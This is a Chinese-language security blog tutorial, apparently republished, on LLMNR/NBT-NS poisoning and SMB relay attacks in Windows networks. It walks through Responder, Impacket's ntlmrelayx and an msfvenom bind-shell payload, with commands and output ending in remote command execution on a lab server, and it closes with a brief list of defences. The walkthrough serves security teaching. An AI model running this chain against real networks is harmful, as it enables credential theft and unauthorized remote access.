文章总结: 本文详细解析了Windows内网环境中利用LLMNR/NBT-NS名称解析机制与SMB中继攻击的技术原理。攻击者通过Responder工具监听网络请求并冒充服务器,捕获NTLM认证信息后使用Impacket的ntlmrelayx将认证凭据中继至目标服务器实现横向移动。文档包含完整攻击演示步骤,并指出防御关键在于禁用LLMNR/NBT-NS、强制SMB签名、网络分段等措施。 综合评分: 87 文章分类: 内网渗透,红队,漏洞分析,安全工具,实战经验
LLMNR / NBT-NS 与 SMB 中继攻击
原创
寰宇秘阁 寰宇秘阁
寰宇密阁
2026年4月3日 10:00 安徽
在小说阅读器读本章
去阅读
在前文的中间人攻击(ARP Spoofing)中,我们通过主动操纵网络流量来窃取凭据。而在 Windows 内网环境中,还存在一种更加隐蔽、几乎“被动”的凭据捕获方式: 利用名称解析广播机制(LLMNR / NBT-NS)与 SMB 中继(SMB Relaying)。
这种攻击不需要 ARP 欺骗,流量更“安静”,在真实企业网络中尤其危险。
一、Windows 名称解析机制简介
当 Windows 访问一个服务名(例如 UNC 路径)时,如果它无法直接解析该名称,就会按照固定顺序尝试解析:
Windows 名称解析顺序
- 本地 hosts 文件
%SystemRoot%\System32\Drivers\Etc\hosts
- DNS
- LLMNR(Link-Local Multicast Name Resolution)
- NetBIOS(NBT-NS)
二、LLMNR / NBT-NS 为何存在安全风险?
1. LLMNR(多播)
- 向局域网内的主机发送多播请求
- 询问:“谁是这个名字?”
2. NBT-NS(广播)
- 使用 NetBIOS 广播请求名称
问题在于:
- ❌ 请求不加密
- ❌ 响应不验证合法性
- ✅ 任意主机都可以“抢答”
三、攻击核心思路
攻击者只需:
- 监听网络中的 LLMNR / NBT-NS 请求
- 冒充被询问的服务器名称
- 接受客户端的连接
- 触发 NTLM 认证流程
- 记录或转发认证信息
这一过程在初始阶段完全是被动的,因此:
很难被传统流量检测手段发现
四、Responder:自动化 LLMNR / NBT-NS 攻击工具
1. 工具简介
-
作者:Laurent Gaffie
-
默认集成在 Kali Linux
-
功能:
-
LLMNR / NBT-NS poisoning
-
捕获 NTLM 认证
-
提供多种伪造服务(SMB、HTTP、LDAP 等)
2. 启动 Responder
root@kali:~# responder -I eth0 -i 10.10.0.94
参数说明:
| 参数 | 含义 |
| — | — |
| -I | 监听的网络接口 |
| -i | 提供服务的 IP 地址 |
启动后可看到当前启用的协议和服务:
LLMNR [ON]
NBT-NS [ON]
SMB server [ON]
HTTP server [ON]
...
Listening for events ...
五、触发名称解析(实验复现)
在 Windows 10 目标机上:
- 打开 文件资源管理器
- 在地址栏输入:
\\nonexisting
要求:
- 该名称在 hosts 和 DNS 中都不存在
此时,Windows 会发送 LLMNR / NBT-NS 请求。
六、Responder 捕获 NTLM 凭据
Responder 回复名称解析请求,并直接触发 SMB 连接:
[SMBv2] NTLMv2-SSP Username : HSILAB\gazelle01
[SMBv2] NTLMv2-SSP Hash : gazelle01::HSILAB:481395d013...
拿到的是什么?
- ✅ NTLMv2 哈希
- ❌ 明文密码(默认无法直接获得)
后续利用方式
- 离线破解(如 John the Ripper)
- SMB 中继攻击(更危险)
七、SMB 中继攻击(SMB Relaying)原理
即使密码很强、无法破解:
也不代表认证本身没用
SMB 中继的核心思想:
- 捕获 NTLM 认证请求
- 将该请求原封不动转发到另一台服务器
- 利用目标服务器完成认证
- 攻击者在中间“坐享其成”
攻击过程中:
- 实际用户以为认证失败
- 攻击者已成功登录服务器
八、使用 Impacket 进行 SMB 中继
1. 安装 Impacket
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/
python3 setup.py install
ntlmrelayx.py --help
2. 准备 Payload(msfvenom)
生成一个在目标服务器上执行的 EXE,用于打开 shell:
msfvenom -p windows/x64/shell_bind_tcp LPORT=6666\
-f exe > bind.exe
九、配置 Responder(关键步骤)
由于 responder 自带 HTTP / SMB 服务,会与 ntlmrelayx 冲突:
修改配置文件
/etc/responder/Responder.conf
-
将以下服务设为 OFF:
-
SMB
-
HTTP
启动后确认:
SMB server [OFF] !
HTTP server [OFF] !
十、启动 ntlmrelayx
ntlmrelayx.py -t smb://10.10.0.132:445 \
-smb2support\
-e ~/bind.exe
参数说明:
| 参数 | 说明 |
| — | — |
| -t | 中继目标 |
| -e | 成功后执行的程序 |
| -smb2support | 支持现代 SMB |
十一、攻击成功后的效果
ntlmrelayx 自动完成:
- 连接目标服务器
- 访问
ADMIN$共享 - 上传 EXE
- 创建并启动服务
Creating service sKfy...
Starting service sKfy...
连接目标 Shell
nc10.10.0.132 6666
C:\Windows\System32> ipconfig
攻击者已获得服务器命令执行权限。
十二、攻击前提与扩展
成功条件(本例):
- NTLM 认证未开启签名
- 用户对目标服务器拥有管理员权限
但需注意:
-
SMB 中继 不限于 SMB
-
不一定需要管理员权限
-
可中继至:
-
Outlook Web Access(OWA)
-
内部门户
-
其他 NTLM Web 服务
十三、防御视角简述
关键防御措施包括:
- ✅ 禁用 LLMNR / NBT-NS
- ✅ 强制 SMB Signing
- ✅ 最小权限原则
- ✅ 减少 NTLM 依赖,使用 Kerberos
- ✅ 网络分段
结语
LLMNR / NBT-NS 与 SMB 中继攻击的危险之处在于:
不需要主动攻击 不需要 ARP 欺骗 几乎完全依赖系统的“默认行为”
在现代内网中,这类攻击已成为横向移动与权限提升的经典入口。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:寰宇密阁 寰宇秘阁 寰宇秘阁《LLMNR / NBT-NS 与 SMB 中继攻击》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论